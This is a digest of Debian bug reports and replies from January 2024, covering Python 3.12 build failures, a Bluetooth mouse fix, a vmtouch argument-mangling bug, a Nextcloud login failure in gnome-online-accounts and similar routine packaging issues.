Bug#1061511: gedit-source-code-browser-plugin: Upstream unmaintained for over a decade

[Ildar Mulyukov]

This shows the python exceptions:
> G_MESSAGES_DEBUG=all gedit
I did a couple of steps with it and found it's no more one line fix,
unfortunately.

Bug#1051432: Info received ()

[Terrance Hendrik]

I fixed this, after months of research.

This is not an issue of bluez.

hidp/uhid really IS the problem. I don't know what makes a Linux decide to
load `uhid` or `hidp`, my "good" and "bad" Linux SSD are dd'ed from same
source, and they even have same partition uuid.

long story short, blacklist hidp and force load uhid kernel module, all
mice work happily now!

echo "blacklist hidp" | sudo tee /etc/modprobe.d/blacklist-hidp.conf
echo -e  "# Fix BLE mouse issue\nuhid" | sudo tee /etc/modules-load.d/uhid.conf
cp --update=none /etc/bluetooth/input.conf{,backup}
sudo sed -ie "s:.*UserspaceHID=.*:UserspaceHID=true:" /etc/bluetooth/input.conf

then reboot.

On Fri, Jan 26, 2024 at 12:52 PM Terrance Hendrik <
terrance.hend...@gmail.com> wrote:

> Update 2024-01-26
>
> 1. It has nothing to do with GUI. In text mode the issue is the same.
>
> 2. it has nothing to do with DKMS, removing it changes nothing.
>
> 3. I swapped SSD between 2 computers, the issue goes with the SSD. So it's
> not a hardware issue
>
> 4. I `apt purge` bluez and blueman, removed /etc/bluetooth, then reinstall
> them, the issue persists.
>
> 5. I compared files in /etc/udev/rules.d and /lib/modules on both
> computer, they are identical.
> only difference is modules.dep*, modules.symbols* and extra dkms modules.
>
> 6. other info
>
> on the working OS, connecting a logitech mouse has 2 syslog messages
> ```
> ... blueman-manager[7228]: blueman-manager 18.32.55 WARNING
>  ManagerDeviceList:396 _monitor_power_levels: Failed to get power levels,
> probably a LE device.
> ... kernel: input: MX Anywhere 3 Mouse as
> /devices/virtual/misc/uhid/0005:046D:B025.000D/input/input37
> ... kernel: hid-generic 0005:046D:B025.000D: input,hidraw5: BLUETOOTH HID
> v0.14 Mouse [MX Anywhere 3] on 
> ```
>
> on the NOT working OS, connecting a logitech mouse has 2 syslog messages
> ```
> ... thWJ16P bluetoothd[7933]: src/service.c:service_accept() input-hog
> profile accept failed for F6:8C:E4:DD:B8:6B
> ... thWJ16P bluetoothd[7933]: src/service.c:service_accept() input-hog
> profile accept failed for F6:8C:E4:DD:B8:6B
> ```
>
> 7. Final Question:
> What else can affect the behavior between bluez and the kernel??
>
>
> On Fri, Nov 17, 2023 at 8:36 AM Debian Bug Tracking System <
> ow...@bugs.debian.org> wrote:
>
>> Thank you for the additional information you have supplied regarding
>> this Bug report.
>>
>> This is an automatically generated reply to let you know your message
>> has been received.
>>
>> Your message is being forwarded to the package maintainers and other
>> interested parties for their attention; they will reply in due course.
>>
>> Your message has been sent to the package maintainer(s):
>>  Debian Bluetooth Maintainers 
>>
>> If you wish to submit further information on this problem, please
>> send it to 1051...@bugs.debian.org.
>>
>> Please do not send mail to ow...@bugs.debian.org unless you wish
>> to report a problem with the Bug-tracking system.
>>
>> --
>> 1051432: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1051432
>> Debian Bug Tracking System
>> Contact ow...@bugs.debian.org with problems
>>
>

Bug#1056852: python-cassandra-driver: ftbfs with cython 3.0.x

[Andreas Tille]

Control: tags -1 help
Control: tags -1 moreinfo

Hi,

I tried building the current status in Git and realised that the
suggested patch is not sufficient.  I decided to relax the versioned
dependency from cython[1] which at least let the configure and build
step pass.  Unfortunately the cython3-legacy build dependency led to 5
errors and thus I tried cython3 instead which only leads to 2 errrors
which you can hopefully reproduce in a couple of minutes in Salsa CI[2]
(I'm going AFK instantly so can not check any more).

May be it is appropriate to skip those two tests?  I'll leave this
decision to you since I do not know this package sufficiently enough.

Hope this helps
Andreas.

[1] 
https://salsa.debian.org/python-team/packages/python-cassandra-driver/-/blob/debian/master/debian/patches/0006-relax_vesioned_cython_dependency.patch?ref_type=heads
[2] 
https://salsa.debian.org/python-team/packages/python-cassandra-driver/-/pipelines/631074

-- 
http://fam-tille.de

Bug#1061603: openturns: FTBFS with Python 3.12 as default

[Graham Inggs]

Source: openturns
Version: 1.21.1-4
Severity: important
Tags: ftbfs patch
User: debian-pyt...@lists.debian.org
Usertags: python3.12

Hi Maintainer

openturns FTBFS with Python 3.12 as the default version (i.e. with
python3-defaults/3.12.1-1 from experimental).  I've copied what I hope
is the relevant part of the log below.

The first failure is due to a change in Python 3.12, and fixed
upstream [1].  The second failure is due to a change in SWIG 4.2.0,
landing in unstable soon, see #1061392, and also fixed upstream [2].

Regards
Graham


[1] 
https://github.com/openturns/openturns/commit/fe388ec3e7a8e23ba1a3f7eada320165cba86fca
[2] 
https://github.com/openturns/openturns/commit/077b6d9d788ec6c4bbd972024ce0f94d3557f5c1



 46/597 Test  #576: pyinstallcheck_SpecFunc_std
***Failed0.53 sec
Traceback (most recent call last):
  File "/<>/python/test/t_SpecFunc_std.py", line 45, in 
assert s1 == 0.0, "sum(x) nonzero"
AssertionError: sum(x) nonzero


305/597 Test  #837: pyinstallcheck_DiscreteCompoundDistribution_std
***Failed0.31 sec
Traceback (most recent call last):
  File "/<>/python/test/t_DiscreteCompoundDistribution_std.py",
line 18, in 
ott.assert_almost_equal(
  File 
"/<>/debian/tmp/usr/lib/python3/dist-packages/openturns/testing.py",
line 174, in assert_almost_equal
return _testing.assert_almost_equal(*args)
   ^^^
RuntimeError: Value 0.00128141 is not close enough to 0.00128136

Bug#1061602: vmtouch invalid option parsing

[tracker . debian . org]

Package: vmtouch
Version: 1.3.1-2
Severity: important

looking at the cmdline arguments the service actually provides to vmtouch it is 
mangling the provided ones and thereby creates invalid arguments.
esp. for "-p 0-50k" which becomes "-p 0 50" and "-P /run/vmtouch" which somehow 
gets joined together with the first provided item to cache.


`cat /etc/default/vmtouch`:
```
# Change to yes to enable running vmtouch as a daemon
ENABLE_VMTOUCH=yes

# User and group to run as
VMTOUCH_USER_GROUP=root:root

# Whitespace separated list of files and directories for vmtouch to operate on
VMTOUCH_FILES="/folder001/ /folder002/ /folder003/ /folder004/ /folder005/ 
/folder006/"

# Options to pass to vmtouch itself. See vmtouch(8).
VMTOUCH_OPTIONS="-d -L -p 0-50k -f -P /run/vmtouch.pid"
```

`systemctl status vmtouch.service | grep CGroup -A1`:
```
 CGroup: /system.slice/vmtouch.service
 └─10341 /usr/bin/vmtouch -d -L -p 0 50 "" -f -P /run/vmtouch.pid 
/folder001 "" /folder002 "" /folder003 "" /folder004 /folder005 /folder006
```

`dpkg --search vmtouch`
```
vmtouch: /etc/init.d/vmtouch
vmtouch: /usr/share/doc/vmtouch/TODO
vmtouch: /usr/share/doc/vmtouch/TUNING.md
vmtouch: /etc/default/vmtouch
vmtouch: /usr/share/doc/vmtouch/changelog.gz
vmtouch: /usr/share/doc/vmtouch/changelog.Debian.gz
vmtouch: /usr/share/doc/vmtouch
vmtouch: /usr/share/doc/vmtouch/copyright
vmtouch: /usr/bin/vmtouch
vmtouch: /usr/share/doc/vmtouch/README.md
vmtouch: /usr/share/man/man8/vmtouch.8.gz
```

`dpkg --list vmtouch`:
```
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name   Version  Architecture Description
+++-==---==
ii  vmtouch1.3.1-2  amd64Portable file system cache 
diagnostics and control
```

`dpkg --status vmtouch`
```
Package: vmtouch
Status: install ok installed
Priority: optional
Section: admin
Installed-Size: 68
Maintainer: Lucas Nussbaum 
Architecture: amd64
Version: 1.3.1-2
Depends: lsb-base (>= 3.0-6), libc6 (>= 2.15)
Pre-Depends: init-system-helpers (>= 1.54~)
Conffiles:
 /etc/default/vmtouch ed573c189b71c232b5fcd2057b634b51
 /etc/init.d/vmtouch 45af12b8bbff820fbbe73145fce96c19
Description: Portable file system cache diagnostics and control
 vmtouch is a tool for learning about and controlling the file system cache of
 unix and unix-like systems. It can discover which files the OS is caching, tell
 the OS to cache or evict some files or regions of files, lock files into memory
 so the OS won't evict them, and more.
Homepage: https://hoytech.com/vmtouch/
```

Bug#1061601: openstructure: FTBFS with Python 3.12 as default

[Graham Inggs]

Source: openstructure
Version: 2.5.0-1
Severity: important
Tags: ftbfs patch
User: debian-pyt...@lists.debian.org
Usertags: python3.12

Hi Maintainer

openstructure FTBFS with Python 3.12 as the default version (i.e. with
python3-defaults/3.12.1-1 from experimental).  I've copied what I hope
is the relevant part of the log below.

Python 3.12 now returns 5 instead of 0 when all tests in a unit test
are skipped.  This is the case for test_sec_struct.py when
debian/patches/skip-dssp-tests.patch is applied.

I was able to work around this by adding a dummy test:

--- a/modules/mol/alg/tests/test_sec_struct.py
+++ b/modules/mol/alg/tests/test_sec_struct.py
@@ -6,6 +6,9 @@

 class TestSecStruct(unittest.TestCase):

+  def testDummy(self):
+return
+
   @unittest.skip("Incompatible with dssp >= 4")
   def testSecStruct(self):

Regards
Graham


With Python 3.11:

[100%] running checks test_sec_struct.py
cd /<>/modules/mol/alg/tests && sh -c
"PYTHONPATH=/<>/obj-x86_64-linux-gnu/stage/lib/python3.11/dist-packages/
 /usr/bin/python3
/<>/modules/mol/alg/tests/test_sec_struct.py"
Compound library not available. Some functionality may not work as expected.
s
--
Ran 1 test in 0.000s

OK (skipped=1)


With Python 3.12:

[ 94%] running checks test_sec_struct.py
cd /<>/modules/mol/alg/tests && sh -c
"PYTHONPATH=/<>/obj-x86_64-linux-gnu/stage/lib/python3.12/dist-packages/
 /usr/bin/python3
/<>/modules/mol/alg/tests/test_sec_struct.py"
Compound library not available. Some functionality may not work as expected.
s
--
Ran 0 tests in 0.000s

NO TESTS RAN (skipped=1)

Bug#1061600: kodi: FTBFS with Python 3.12 as default

[Graham Inggs]

Source: kodi
Version: 2:20.2+dfsg-4
Severity: important
Tags: ftbfs patch
User: debian-pyt...@lists.debian.org
Usertags: python3.12

Hi Maintainer

kodi FTBFS with Python 3.12 as the default version (i.e. with
python3-defaults/3.12.1-1 from experimental).  I've copied what I hope
is the relevant part of the log below.

This was already fixed upstream [1].

Regards
Graham


[1] https://github.com/xbmc/xbmc/commit/597dd302768b22d209dc44fddb2b5fa5e3ef9b34


/<>/xbmc/interfaces/python/swig.cpp: In constructor
‘PythonBindings::TypeInfo::TypeInfo(const std::type_info&)’:
/<>/xbmc/interfaces/python/swig.cpp:75:5: error: missing
initializer for member ‘_typeobject::tp_watched’
[-Werror=missing-field-initializers]
   75 | };
  | ^
cc1plus: some warnings being treated as errors
make[4]: *** 
[build/interfaces/python/CMakeFiles/python_interface.dir/build.make:163:
build/interfaces/python/CMakeFiles/python_interface.dir/swig.cpp.o]
Error 1

Bug#1061599: gnome-online-accounts: cannot login to Nextcloud 26.0.7 since 3.49.0-1 - http 405 method not allowed

[Alban Browaeys]

Package: gnome-online-accounts
Version: 3.49.0-1
Severity: important


I upgrade gnome-online-accounts from 3.48.0-2 to 3.49.0-1, I still had
Nextcloud ok in gnome-control-center (Settings) 1:46~alpha-2.
Then on one box I rebooted, then I got "Credential have expired" for
Nextcloud in Settings. Trying to authenticate anew gave me "Error
connecting to WebDAV server: Authentication failed".

I then tried on the other box, which still had nextcloud login ok, where
I also upgraded gnome-control-center but did not yet restart it, to
kill goa-daemon and restart it. Then I ended up with the same error as
wiht the box I rebooted.

Settings output is:
janv. 27 07:59:10 hermes org.gnome.Settings.desktop[131923]: GLib-GIO: 
GSocketClient: Starting new address enumeration
janv. 27 07:59:10 hermes org.gnome.Settings.desktop[131923]: GLib-GIO: 
lookup_by_name_with_flags_async: starting new lookup for 
cloud.prahal.homelinux.net with GTask 0x5581b3e13eb0, LookupData 0x5581b3ce9500
janv. 27 07:59:10 hermes org.gnome.Settings.desktop[131923]: GLib-GIO: 
lookup_by_name_with_flags_async: starting new lookup for 
cloud.prahal.homelinux.net with GTask 0x5581b3d76160, LookupData 0x5581b3d1c5b0
janv. 27 07:59:10 hermes org.gnome.Settings.desktop[131923]: GLib-GIO: 
GSocketClient: Address enumeration succeeded
janv. 27 07:59:10 hermes org.gnome.Settings.desktop[131923]: GLib-GIO: 
GSocketClient: Starting TCP connection attempt
janv. 27 07:59:10 hermes org.gnome.Settings.desktop[131923]: GLib-GIO: 
GSocketClient: TCP connection successful
janv. 27 07:59:10 hermes org.gnome.Settings.desktop[131923]: GLib-GIO: 
GSocketClient: Starting application layer connection
janv. 27 07:59:10 hermes org.gnome.Settings.desktop[131923]: GLib-GIO: 
GSocketClient: Connection successful!
janv. 27 07:59:10 hermes org.gnome.Settings.desktop[131923]: GoaBackend: 
goa_dav_client_check(): response (0x5581b422b970, 405)

Note the 405 status.
Could it be my old Nextcloud version does not support a method call from
goa 0.49.0?

PS: I will probably open a bug report against upstream has I believe
this issue not to be Debian related. Though I wanted to raise your
awareness of the issue (which might not affect all Nextcloud instances),
even though this gnome-online-account update already hit testing.

Best Regards,
Alban

I also see that in G_MESSAGES_DEBUG=all /usr/libexec/goa-daemon
--replace output:

(goa-daemon:128630): goa-daemon-DEBUG: 08:00:12.384: 83448041499: Received 
EnsureCredentials (owncloud, account_1674792379_0)
(goa-daemon:128630): goa-daemon-DEBUG: 08:00:12.384: 83448041568: Handling 
EnsureCredentials (owncloud, account_1674792379_0)
(goa-daemon:128630): GoaBackend-DEBUG: 08:00:12.386: Retrieved keyring 
credentials for id: account_1674792379_0
(goa-daemon:128630): GLib-GIO-DEBUG: 08:00:12.386: GSocketClient: Starting new 
address enumeration
(goa-daemon:128630): GLib-GIO-DEBUG: 08:00:12.386: 
lookup_by_name_with_flags_async: starting new lookup for 
cloud.prahal.homelinux.net with GTask 0x7f6324c4d6f0, LookupData 0x7f6324c4d6a0
(goa-daemon:128630): GLib-GIO-DEBUG: 08:00:12.386: 
lookup_by_name_with_flags_async: starting new lookup for 
cloud.prahal.homelinux.net with GTask 0x7f6324c63320, LookupData 0x7f6324c632d0
(goa-daemon:128630): GLib-GIO-DEBUG: 08:00:12.388: GSocketClient: Address 
enumeration succeeded
(goa-daemon:128630): GLib-GIO-DEBUG: 08:00:12.388: GSocketClient: Starting TCP 
connection attempt
(goa-daemon:128630): GLib-GIO-DEBUG: 08:00:12.388: GSocketClient: TCP 
connection successful
(goa-daemon:128630): GLib-GIO-DEBUG: 08:00:12.388: GSocketClient: Starting 
application layer connection
(goa-daemon:128630): GLib-GIO-DEBUG: 08:00:12.388: GSocketClient: Connection 
successful!
(goa-daemon:128630): libsoup-http2-DEBUG: 08:00:12.423: [CLIENT] [C1-S0] [-] 
[SEND] [SETTINGS] stream_id=0
(goa-daemon:128630): libsoup-http2-DEBUG: 08:00:12.423: [CLIENT] [C1-S0] [-] 
[SEND] [WINDOW_UPDATE] stream_id=0
(goa-daemon:128630): libsoup-http2-DEBUG: 08:00:12.423: [CLIENT] [C1-S1] [NONE] 
[SESSION] Request made for cloud.prahal.homelinux.net/
(goa-daemon:128630): libsoup-http2-DEBUG: 08:00:12.423: [CLIENT] [C1-S1] [NONE] 
[SESSION] State NONE -> WRITE_HEADERS
(goa-daemon:128630): libsoup-http2-DEBUG: 08:00:12.423: [CLIENT] [C1-S1] 
[WRITE_HEADERS] [SEND] [HEADERS] stream_id=1, category=REQUEST finished=1
(goa-daemon:128630): libsoup-http2-DEBUG: 08:00:12.423: [CLIENT] [C1-S1] 
[WRITE_HEADERS] [SESSION] State WRITE_HEADERS -> WRITE_DONE
(goa-daemon:128630): GoaBackend-DEBUG: 08:00:12.423: > OPTIONS / HTTP/2
(goa-daemon:128630): GoaBackend-DEBUG: 08:00:12.423: > Soup-Debug-Timestamp: 
1706338812
(goa-daemon:128630): GoaBackend-DEBUG: 08:00:12.423: > Soup-Debug: SoupSession 
1 (0x7f63249e4930), SoupMessage 1 (0x7f63246cd830), GSocket 1 (0x7f6324b3f300)
(goa-daemon:128630): GoaBackend-DEBUG: 08:00:12.423: > Accept-Encoding: gzip, 
deflate, br
(goa-daemon:128630): GoaBackend-DEBUG: 08:00:12.423: > User-Agent: 
gnome-online-accounts/3.49.0 

Bug#1060741: ball: Please port from sip4 to sip6

[Andreas Tille]

Control: tags -1 help

Am Sat, Jan 13, 2024 at 06:49:06PM +0300 schrieb Dmitry Shachnev:
> Your package currently builds with sip4, which is a deprecated version of SIP.
> The modern version of SIP is packaged as sip6.

OK.
 
> The documentation on how to use modern SIP is available in sip6-doc package,
> or on the SIP website [1]. The recommended approach is using SIP's own
> PEP 517-compliant build system (i.e. pyproject.toml and project.py files),
> however some projects (e.g. krita upstream) have successfully integrated SIP 6
> into their CMake-based build systems.
>
> SIP 4 has an RC bug related to Python 3.12 [2] and it's unlikely to be fixed.
> 
> Please port this package to SIP 6, and after that is done, remove the build-
> dependency on python3-sip-dev.

I gave it a try by changing the Build-Depends first[1] and see what
happens[2].  I think the problem is caused by this Python file[3] where
I tried to replace

  import sipconfig

by

  import sipbuild

Since I'm lacking the knowledge about the new interface (and was not
able to find the solution after a *quick* search in sip6-doc) I gave up
here and ask for help.  I could forward the issue upstream but I would
like to have a first idea about a patch.

Kind regards
   Andreas.

[1] 
https://salsa.debian.org/med-team/ball/-/commit/0ce394c22083f2dd06e1585094df34275dc978a4
[2] https://salsa.debian.org/med-team/ball/-/jobs/5210016
[3] 
https://salsa.debian.org/med-team/ball/-/blob/master/cmake/FindSIP.py?ref_type=heads#L8

-- 
http://fam-tille.de

Bug#1061598: libkf5notifications5: repeatedly displays duplicate notifications which don't automatically go away

[Russell Coker]

Package: libkf5notifications5
Version: 5.107.0-1
Severity: normal
Tags: upstream

On the PinePhonePro running plasma mobile on wayland it will have repeated
notifications on the lock screen and show them all not just show the last one
or show a coune of duplicate notifications.

I'll attach a screen-shot once the bug has been created.


-- System Information:
Debian Release: trixie/sid
Architecture: arm64 (aarch64)

Kernel: Linux 6.6-rockchip (SMP w/6 CPU threads; PREEMPT)
Kernel taint flags: TAINT_CRAP
Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: unable to detect

Versions of packages libkf5notifications5 depends on:
ii  libc6 2.37-14
ii  libcanberra0  0.30-11
ii  libdbusmenu-qt5-2 0.9.3+16.04.20160218-2+b1
ii  libkf5configcore5 5.107.0-1
ii  libkf5coreaddons5 5.107.0-1
ii  libkf5notifications-data  5.107.0-1
ii  libkf5windowsystem5   5.107.0-1
ii  libqt5core5a  5.15.10+dfsg-6
ii  libqt5dbus5   5.15.10+dfsg-6
ii  libqt5gui55.15.10+dfsg-6
ii  libqt5texttospeech5   5.15.10-2
ii  libqt5widgets55.15.10+dfsg-6
ii  libqt5x11extras5  5.15.10-2
ii  libstdc++614-20240126-2

libkf5notifications5 recommends no packages.

libkf5notifications5 suggests no packages.

-- debconf-show failed

Bug#1061511: gedit-source-code-browser-plugin: Upstream unmaintained for over a decade

[Kip Warner]

On Fri, 2024-01-26 at 08:11 +0100, Pietro Battiston wrote:
> Dear Kip,
> 
> thanks for your mail and references. I have asked ildar, in the bug
> you referred to, additional details on what broke in the last Gedit
> versions. If anybody is able to fix his fork, or produce another one
> and make some minimal commitment to update it (or accept
> contributions for it) over time, I will be happy to switch the Debian
> package to it.
> 
> The best thing would clearly be having an up to date fork owned by a
> project, rather than an individual who (legitimately) writes "I
> personally don't plan to maintain this regularly". I would be happy
> to be in such a project and occasionally contribute - while I would
> not want to simply package my personal fork.

Thanks Pietro. It might well be that it's only a few trivial lines of a
patch to get it working again with the latest GEdit. I don't know
though because it's not an area I'm familiar with. I just know that his
last fix kept it alive for a while.

-- 
Kip Warner
OpenPGP signed/encrypted mail preferred
https://www.thevertigo.com


signature.asc
Description: This is a digitally signed message part

Bug#1061597: new upstream 535.154.05

[Harald Dunkel]

Package: nvidia-kernel-dkms
Version: 525.147.05-5

Trying to use hardware accelerated features for video encoding
Handbrake fails with

:
[06:49:44] encavcodecInit: H.265 (Nvidia NVENC)
[06:49:44] encavcodec: encoding at rc=vbr, 22.00
[06:49:44] encavcodec: encoding with stored aspect 1/1
[hevc_nvenc @ 0x7f6b97834340] Driver does not support the required nvenc API 
version. Required: 12.1 Found: 12.0
[hevc_nvenc @ 0x7f6b97834340] The minimum required Nvidia driver for nvenc is 
(unknown) or newer
[06:49:44] encavcodecInit: avcodec_open failed
[06:49:44] Failure to initialise thread 'FFMPEG encoder (libavcodec)'
[06:49:44] comb detect: heavy 0 | light 0 | uncombed 0 | total 0
:

Would it be possible to support the current NVidia drivers version
535.154.05?

Hardware is a GTX 1650.


Thank you very much in advance
Harri

Bug#1060143: gnss-sdr ftbfs in unstable

[Gianfranco Costamagna]

control: fixed -1 0.0.19-1
control: close -1

thanks

On Sat, 6 Jan 2024 12:19:35 +0100 Matthias Klose  wrote:

Package: src:gnss-sdr
Version: 0.0.18-2
Severity: serious
Tags: sid trixie ftbfs

gnss-sdr ftbfs in unstable:

[...]
In file included from /usr/include/gnuradio/basic_block.h:15,
  from /usr/include/gnuradio/hier_block2.h:15,
  from /usr/include/gnuradio/top_block.h:15,
  from 
/home/packages/tmp/gnss-sdr-0.0.18/src/core/interfaces/gnss_block_interface.h:26,
  from 
/home/packages/tmp/gnss-sdr-0.0.18/src/algorithms/data_type_adapter/gnuradio_blocks/interleaved_byte_to_complex_byte.h:20,
  from 
/home/packages/tmp/gnss-sdr-0.0.18/src/algorithms/data_type_adapter/gnuradio_blocks/interleaved_byte_to_complex_byte.cc:18:
/usr/include/gnuradio/io_signature.h:194:73: error: ‘string_view’ is not 
a member of ‘std’
   194 | struct GR_RUNTIME_API fmt::formatter : 
formatter {
   | 
 ^~~
/usr/include/gnuradio/io_signature.h:194:73: note: ‘std::string_view’ is 
only available from C++17 onwards
/usr/include/gnuradio/io_signature.h:194:73: error: ‘string_view’ is not 
a member of ‘std’
/usr/include/gnuradio/io_signature.h:194:73: note: ‘std::string_view’ is 
only available from C++17 onwards
/usr/include/gnuradio/io_signature.h:194:84: error: template argument 1 
is invalid
   194 | struct GR_RUNTIME_API fmt::formatter : 
formatter {
   | 
^





OpenPGP_signature.asc
Description: OpenPGP digital signature

Bug#1060961: clapper: FTBFS: make: *** [debian/rules:6: binary] Error 25

[Johannes Schauer Marin Rodrigues]

Hi,

On Tue, 16 Jan 2024 20:43:11 +0100 Lucas Nussbaum  wrote:
> During a rebuild of all packages in sid, your package failed to build on
> amd64.

thank you for your bug!

> Couldn't find include 'GObject-2.0.gir' (search path: '['/usr/share/gir-1.0', 
> '/usr/lib/x86_64-linux-gnu/gir-1.0', 
> '/<>/debian/.debhelper/generated/_source/home/.local/share/gir-1.0',
>  'gir-1.0', '/usr/local/share/gir-1.0', '/usr/share/gir-1.0', 
> '/usr/lib/x86_64-linux-gnu/gir-1.0', '/usr/share/gir-1.0', 
> '/usr/share/gir-1.0']')

I'm unable to reproduce your bug in unstable. The day before the date from your
build log, a disruptive upload of gobject-introspection happened to unstable
and there have been more uploads of gobject-introspection since then. Maybe the
issue is fixed now?

Would you mind re-trying the build? I am building the package on arm64 and
maybe that makes a difference? In any case, I'm not able to reproduce it.

Thanks!

cheers, josch

signature.asc
Description: signature

Bug#1061596: When to never ask despite Always-Prompt

[Dan Jacobson]

Package: aptitude
Version: 0.8.13-5+b1
Severity: wishlist

Even with Aptitude::CmdLine::Always-Prompt true
there are some cases when prompting still doesn't make sense:
# aptitude full-upgrade
No packages will be installed, upgraded, or removed.
0 packages upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B of archives. After unpacking 0 B will be used.
Do you want to continue? [Y/n/?]

Bug#1061595: Debian Live 12.4.0 AMD64 Xfce Fails to Start Its Graphical Environment

[Professor Jeebs]

Package: debian-live
Severity: important
X-Debbugs-Cc: je...@tuta.io


Dear Debian Live Maintainers,

Today, I have attempted to boot debian-live-12.4.0-amd64-xfce.iso, after
`dd`ing it to a USB stick, and I failed miserably :(

Grub functioned without any problems, and the Live Environment booted.
However, the lightdm.service encountered errors, I believe to be related
to the package accountservices perhaps not being installed (I neglected
to check). It appears to be a mere suggested package in the log at link
[1], where maybe another package in the system should instead be marked
to depend or recommend the accountservices package--That, or perhaps it
should be manually installed.

An X display attempted to take over tty7, recurring in a loop, but then
eventually failed, and the output of `systemctl status lightdm.server`
gave more information pointing to accountservices, as in link [2]. Plain
`startxfce` and `startx` did not do the trick either. I was out of
ideas.

Aside from that, I was able to change to tty[1-6]s and browse some logs,
and perhaps could have ended up with a working system using the
wireless-tools package. However, at this point, I was not connected to
any networks (on purpose). .xsession-errors were spewed out, but Xorg
logs did not note anything strange (no lines with EE, indicating errors,
and maybe one or two WW which appeared unrelated to the problem
at-hand).

[1] 
https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-12.4.0-amd64-xfce.iso.log

[2] https://bbs.archlinux.org/viewtopic.php?id=186550

Is this happening on your machines?

Thanks! If this is a simple package installation to fix, I hope it can
be out before the next dot-release. Debian rocks, as always :)


A little more information:

UEFI, Secure Boot enabled.

Oddly, booting in failsafe mode, the kernel encountered a panic! I did
not note it nor troubleshoot it any further. I almost chalked it up to a
bad USB pendrive.

The debian-live-12.4.0-amd64-cinnamon.iso, `dd`d in the same manner as
the xfce version, booted up its graphical environment without any
issues, therefor I believe I can rule out the pendrive being bad.

I may be able to help troubleshoot this some more if it can not be
triaged / reproduced. Just let me know!

Bug#1061594: bookworm-pu: package vasttrafik-cli/1.9-1

[Salvo "LtWorf" Tomaselli]

Package: release.debian.org
Severity: normal
Tags: bookworm
User: release.debian@packages.debian.org
Usertags: pu
X-Debbugs-Cc: vasttrafik-...@packages.debian.org, ltw...@debian.org
Control: affects -1 + src:vasttrafik-cli

[ Reason ]
The tool is a client to a public API.

The provider of the API has shut down the public API used by that version and
made a new one.

https://developer.vasttrafik.se/news/3

The new version of the package that is in sid uses the new API.

I just want to bump. The changes are rather extensive, it does not make sense
to backport them.

[ Impact ]

Without this, the package is completely unusable.

[ Tests ]

I tried it manually.

[ Risks ]

There are some changes in how the data is shown.

I doubt someone was parsing that output in a script. Anyway such eventual
script is broken in any case.

[ Checklist ]
  [ ] *all* changes are documented in the d/changelog
  [X] I reviewed all changes and I approve them
  [X] attach debdiff against the package in (old)stable
  [X] the issue is verified as fixed in unstable

[ Changes ]

Major changes to use the new API. The command line is compatible but the
output shows more information, so it is not entirely identical.


ddiff.gz
Description: application/gzip

Bug#1061593: androguard: upgrade warning: apk.py:1027: SyntaxWarning: invalid escape sequence '\>'

[Paul Wise]

Package: androguard
Version: 3.4.0~a1-10
Severity: normal
File: /usr/lib/python3/dist-packages/androguard/core/bytecodes/apk.py
Usertags: warnings
User: debian-pyt...@lists.debian.org
Usertags: python3.12

When upgrading androguard I got a Python syntax warning:

   Preparing to unpack .../androguard_3.4.0~a1-10_all.deb ...
   Unpacking androguard (3.4.0~a1-10) over (3.4.0~a1-9) ...
   Setting up androguard (3.4.0~a1-10) ...
   /usr/lib/python3/dist-packages/androguard/core/bytecodes/apk.py:1027: 
SyntaxWarning: invalid escape sequence '\>'
 """

Probably this is caused by the Python 3.12 transition.

-- System Information:
Debian Release: trixie/sid
  APT prefers testing-debug
  APT policy: (900, 'testing-debug'), (900, 'testing'), (800, 
'unstable-debug'), (800, 'unstable'), (790, 'buildd-unstable'), (700, 
'experimental-debug'), (700, 'experimental'), (690, 'buildd-experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 6.6.11-amd64 (SMP w/4 CPU threads; PREEMPT)
Locale: LANG=en_AU.utf8, LC_CTYPE=en_AU.utf8 (charmap=UTF-8), LANGUAGE=en_AU:en
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages androguard depends on:
ii  python3 3.11.6-1
ii  python3-asn1crypto  1.5.1-3
ii  python3-click   8.1.6-1
ii  python3-colorama0.4.6-4
ii  python3-ipython 8.20.0-1
ii  python3-lxml5.1.0-1
ii  python3-magic   2:0.4.27-2
ii  python3-matplotlib  3.6.3-1+b2
ii  python3-networkx2.8.8-1
ii  python3-oscrypto1.3.0-5
ii  python3-pydot   1.4.2-1
ii  python3-pygments2.15.1+dfsg-1
ii  python3-yaml6.0.1-2

Versions of packages androguard recommends:
ii  python3-pyperclip  1.8.2-2
ii  python3-pyqt5  5.15.10+dfsg-1

androguard suggests no packages.

-- no debconf information

-- 
bye,
pabs

https://wiki.debian.org/PaulWise


signature.asc
Description: This is a digitally signed message part

Bug#1061490: lxc: install PAM module into /usr

[Mathias Gibbens]

Control: tags -1 + pending

Hi Michael,

On Thu, 2024-01-25 at 14:41 +0100, Michael Biebl wrote:
> We want to finalize the /usr-merge via DEP17 by moving all files to
> /usr. lxc installs files into /lib; these should be moved into the
> respective canonical locations in /usr/.
> 
> Please find a patch attached. It has been build-tested.

  Thanks for the patch -- I've applied it, and it will be included in
the next upload of lxc.

> Note: this should not be backported to bookworm. If you intend to
> backport, please use dh_movetousr instead.

  I don't anticipate lxc being backported to bookworm, so this
shouldn't be an issue.

> If your package will change for the t64 transition or otherwise
> rename/split/move its binaries (packages) during trixie, please
> then upload to experimental and get in touch with the UsrMerge
> driver, please see the wiki [1].

  I've added a personal note to watch for any sort of restructuring of
lxc's packages during the rest of the trixie development cycle. If that
is needed, we'll first do an upload to experimental before uploading to
unstable.

Mathias


signature.asc
Description: This is a digitally signed message part

Bug#1061592: cryptsetup: Password prompt during boot echoes characters to the screen in plaintext

[Francois Marier]

Package: cryptsetup
Version: 2:2.6.1-6+b1
Severity: normal

On my machine, if I ESC out of the plymouth password prompt (which does hide
the characters I type), I get the a text-mode prompt ("Please unlock disk
nvme0n1p4_crypt") which echoes to the screen the characters I type. Then it
repeats the prompt with asterisks. So it looks like this:

  Please unlock disk nvme0n1p4_crypt: SooperSekretPassword1!@
